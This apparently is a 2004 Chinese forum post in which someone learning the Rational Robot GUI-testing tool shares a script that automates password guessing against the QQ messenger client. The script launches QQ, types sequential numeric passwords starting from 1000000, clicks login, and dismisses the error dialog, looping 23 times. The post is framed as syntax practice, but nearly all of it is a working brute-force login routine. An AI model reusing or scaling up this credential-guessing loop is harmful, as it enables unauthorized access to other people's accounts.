|
第一天学习Rational Robot,感觉功能很强大,但学习资料很难找。
为了熟悉其语法和相关操作,我编了如下脚本:
此脚本的功能是尝试QQ密码,QQ号为默认,密码为1000011,如下:
Sub Main
Dim Result As integer
Dim Result2 As long
dim i as integer
dim r as String
'Initially Recorded: 2004-7-22 22:31:41
'Script Name: test7
Result2=1000000
'下面为你QQ的路径
StartApplication """D:\Program Files\Tencent\qq\QQ.exe"""
r=str(Result2)
for i=1 to 23
Window SetContext, "Class=#32770", ""
EditBox Left_Drag, "Label=QQ密码", "Coords=1,8,-5,8"
InputKeys r
'不知道为什么,此处要退一个字符才行
EditBox Click, "Label=QQ密码", "Coords=5,7"
InputKeys "{BKSP}"
PushButton Click, "Text=登陆"
Window SetContext, "Caption=错误", ""
PushButton Click, "Text=否(N)"
Window SetContext, "Class=#32770", ""
Result2=Result2+1
r=str(Result2)
next i
End Sub |
|